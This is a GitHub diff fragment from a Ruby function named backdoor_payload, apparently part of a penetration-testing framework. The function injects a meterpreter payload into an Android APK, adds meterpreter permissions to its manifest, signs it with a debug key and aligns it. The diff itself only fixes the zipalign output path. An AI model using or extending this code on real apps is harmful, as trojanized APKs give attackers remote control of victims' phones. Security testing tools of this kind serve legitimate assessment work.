File tree Expand file tree Collapse file tree 1 file changed +3
-4
lines changed Expand file tree Collapse file tree 1 file changed +3
-4
lines changed Original file line number Diff line number Diff line change @@ -204,7 +204,7 @@ def backdoor_payload(apkfile, raw_payload)
204
204
print_status "Loading #{ smalifile } and injecting payload..\n "
205
205
File . open ( smalifile , "wb" ) { |file | file . puts hookedsmali }
206
206
injected_apk = "#{ tempdir } /output.apk"
207
- unaligned_apk = "#{ tempdir } /unaligned .apk"
207
+ aligned_apk = "#{ tempdir } /aligned .apk"
208
208
print_status "Poisoning the manifest with meterpreter permissions..\n "
209
209
fix_manifest ( tempdir )
210
210
@@ -213,10 +213,9 @@ def backdoor_payload(apkfile, raw_payload)
213
213
print_status "Signing #{ injected_apk } \n "
214
214
run_cmd ( "jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{ injected_apk } androiddebugkey" )
215
215
print_status "Aligning #{ injected_apk } \n "
216
- FileUtils . mv ( "#{ injected_apk } " , "#{ unaligned_apk } " )
217
- run_cmd ( "zipalign 4 #{ unaligned_apk } #{ injected_apk } " )
216
+ run_cmd ( "zipalign 4 #{ injected_apk } #{ aligned_apk } " )
218
217
219
- outputapk = File . read ( injected_apk )
218
+ outputapk = File . read ( aligned_apk )
220
219
221
220
FileUtils . remove_entry tempdir
222
221
outputapk
You can’t perform that action at this time.
0 commit comments